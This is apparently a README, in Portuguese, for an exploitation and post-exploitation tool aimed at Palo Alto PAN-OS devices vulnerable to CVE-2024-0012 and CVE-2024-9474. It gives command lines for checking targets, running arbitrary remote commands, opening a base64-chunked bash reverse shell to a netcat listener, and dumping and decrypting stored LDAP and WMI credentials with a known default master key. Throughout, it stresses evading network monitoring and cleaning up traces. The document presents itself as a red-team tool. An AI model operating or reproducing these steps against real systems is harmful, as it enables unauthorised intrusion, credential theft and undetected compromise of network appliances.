Multiferramenta de Exploração e Pós-Exploração para Sistemas Palo Alto PAN-OS afetados pelas vulnerabilidades CVE-2024-0012 e CVE-2024-9474
Ferramenta Multiuso de Exploração e Pós-Exploração para Sistemas Palo Alto PAN-OS afetados pelas vulnerabilidades CVE-2024-0012 e CVE-2024-9474
Durante a exploração inicial das vulnerabilidades de Execução Remota de Código CVE-2024-0012 e CVE-2024-9474, obtive um shell e comecei a identificar arquivos de configuração que continham strings estranhas em vários campos de senha. Como claramente não eram formatos de hash comuns, minha equipe e eu começamos a investigar e rapidamente descobrimos um aviso de segurança no site ThreatLabs, que mencionava que as credenciais do PAN-OS são (eram?) criptografadas usando uma chave mestra publicamente conhecida por padrão. Embora essa chave mestra possa ser alterada na configuração do dispositivo, descobri que a chave mestra padrão foi usada em todos os casos que encontrei dessas vulnerabilidades. Ao projetar esta ferramenta, meu objetivo é construir uma maneira fácil de explorar essas vulnerabilidades, realizar pós-exploração e coleta de credenciais, e até mesmo recuperar credenciais em texto simples inteiramente por meio de tráfego HTTPS criptografado, sem a necessidade de conexões persistentes que possam ser detectadas por soluções de monitoramento de rede e tráfego.
Atualmente oferece suporte à recuperação e descriptografia automática de credenciais LDAP e WMI, embora eu tenha visto casos raros em que strings de segredos são criptografadas dentro de arquivos de configuração com nomes de campos XML não padronizados. Atualmente estou trabalhando na identificação das causas desses casos únicos para garantir suporte completo. Observe que isso ainda está em desenvolvimento.
Antes de usar, certifique-se de que todas as dependências necessárias estejam instaladas, usando um comando como:
pip3 install -r requirements.txt
O comando "check" permite verificar se um alvo remoto é vulnerável ao CVE-2024-0012. Ao segmentar um host remoto pelo seu endereço IP, certifique-se de usar o argumento --no-verify. Exemplo:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify
O comando "command" permite explorar o CVE-2024-0012 e o CVE-2024-9474 em um alvo remoto para executar um comando manualmente fornecido e recuperar a saída do comando resultante através da interface web. Semelhante aos comandos dump e shell, o comando fornecido é dividido em seções pequenas o suficiente para caber dentro da vulnerabilidade de injeção de comandos do CVE-2024-9474, escrito em um arquivo de shell temporário em um diretório gravável (padrão /var/tmp/), e então executado no alvo. A saída é escrita em um arquivo PHP temporário em /var/appweb/htdocs{remote_dir}, recuperada via HTTPS, exibida no console e limpa automaticamente, a menos que o argumento --no-cleanup seja fornecido. Novamente, não se esqueça do --no-verify quando necessário.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
A flag opcional --silentcommand executa o comando fornecido usando o mesmo método de divisão e injeção acima, mas sem redirecionar a saída para um arquivo acessível pela web ou fazer qualquer solicitação de recuperação. Isso é útil para ações do tipo "disparar e esquecer" onde a saída não é necessária, ou onde minimizar o número de solicitações web e arquivos criados no alvo é uma prioridade. Como nenhum arquivo de saída é escrito no caminho web, a limpeza apenas remove os arquivos temporários de payload do diretório gravável — não há arquivo .php de saída para limpar.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
O comando "shell" permite explorar o CVE-2024-0012 e o CVE-2024-9474 em um alvo remoto para receber um shell reverso no host remoto. Basicamente, este comando cria um payload de shell reverso bash padrão, codifica em base64, divide o blob codificado em base64 em seções pequenas o suficiente para caber dentro da vulnerabilidade de injeção de comandos do CVE-2024-9474 e, em seguida, executa comandos para fazer echo de cada bloco em arquivos em um diretório gravável (padrão /var/tmp/). Uma vez que esses blocos estejam totalmente armazenados, eles são amalgamados em um único arquivo de shell e então executados no host, o que deve conectar de volta a um listener netcat separado (nc -nvlp {PORT}).
Observe que atualmente o tempo limite causado pela conexão persistente do shell reverso impede que a limpeza dos arquivos ocorra, então você precisará anotar o nome do arquivo aleatório impresso no início da execução da ferramenta e limpá-lo dos diretórios {writable_dir} e /var/appweb/htdocs{remote_dir}. Vou corrigir isso na próxima versão, mas ainda não cheguei lá. Novamente, não se esqueça do --no-verify quando necessário.
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify
Este foi meu objetivo principal para este projeto e a principal razão pela qual quis construir esta ferramenta. Como a maioria dos writeups e ferramentas relacionadas a essas vulnerabilidades tem sido focada em Execução Remota de Código, não encontrei muitas instâncias de pessoas detalhando etapas úteis de pós-exploração além desse ponto. Com o comando dump, você pode não apenas recuperar e descriptografar credenciais remotamente, mas pode fazer isso inteiramente através de um pequeno número de solicitações web criptografadas (HTTPS) sem a necessidade de conexões persistentes. Como os appliances PAN-OS são significativamente menos propensos a ter qualquer tipo de solução EDR/MDR/IDR/XDR/?DR, isso é particularmente eficaz em operações de red team.
O comando dump segue um método de divisão e execução semelhante ao comando shell, mas, em vez de iniciar um shell reverso, ele recupera credenciais criptografadas dos arquivos de configuração do dispositivo (localizados em /opt/pancfg/mgmt/saved-configs/) e então descriptografa automaticamente as senhas identificadas usando a chave mestra pública conhecida. O comando dump também limpará todos os arquivos criados ao final da descriptografia, a menos que você inclua o argumento --no-cleanup. Como sempre, não se esqueça do --no-verify quando necessário.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
Além disso, adicionei um argumento opcional --full-running-config, que pode ser usado para recuperar todo o conteúdo XML do arquivo de configuração em execução atual e salvá-lo em um arquivo local. O arquivo salvo é nomeado usando o formato running-config.{TARGET}.{TIMESTAMP}.xml (por exemplo, running-config.192.168.1.1.20260516_143022.xml), onde o timestamp reflete o momento da recuperação. Isso evita que dumps de configuração anteriores sejam sobrescritos ao segmentar o mesmo dispositivo várias vezes. Embora eu recomende verificar além disso, pois vi várias instâncias em que arquivos de configuração anteriores/outros continham credenciais criptografadas únicas, esta pode ser uma boa maneira de verificar credenciais adicionais que podem não ter sido capturadas e descriptografadas automaticamente. Além disso, você pode realizar o processamento local de quaisquer arquivos de configuração XML locais usando o comando Local, que é detalhado abaixo.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
O comando local é muito básico e seu caso de uso é principalmente quando você recupera um arquivo XML completo de configuração (como com o argumento --full-running-config do comando dump), ou já obteve um shell no dispositivo PAN-OS e copiou ou imprimiu o conteúdo dos arquivos XML de configuração do dispositivo (localizados em /opt/pancfg/mgmt/saved-configs/). Ele executará a mesma lógica e descriptografia automática de credenciais, mas a partir de um arquivo local fornecido. Suporta todos os tipos de credenciais criptografadas, incluindo LDAP e WMI, em qualquer nome de tag XML.
python3 PanOsExploitMultitool.py local -f {FILE}
Finalmente, o comando decrypt permite descriptografar strings brutas usando a chave mestra pública. Isso é útil em cenários únicos, como quando strings de credenciais criptografadas são identificadas em um arquivo de configuração antigo, mas não há nomes de usuário imediatamente anteriores, ou quando você deseja verificar manualmente uma string de credencial extraída por outro método. Essas strings podem ser inseridas diretamente no terminal e podem ser aceitas no formato completo -AQ..........==, ou apenas no blob final codificado em base64.
python3 PanOsExploitMultitool.py decrypt
Consulte os writeups, módulos e avisos abaixo que foram usados na pesquisa e desenvolvimento deste projeto.
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/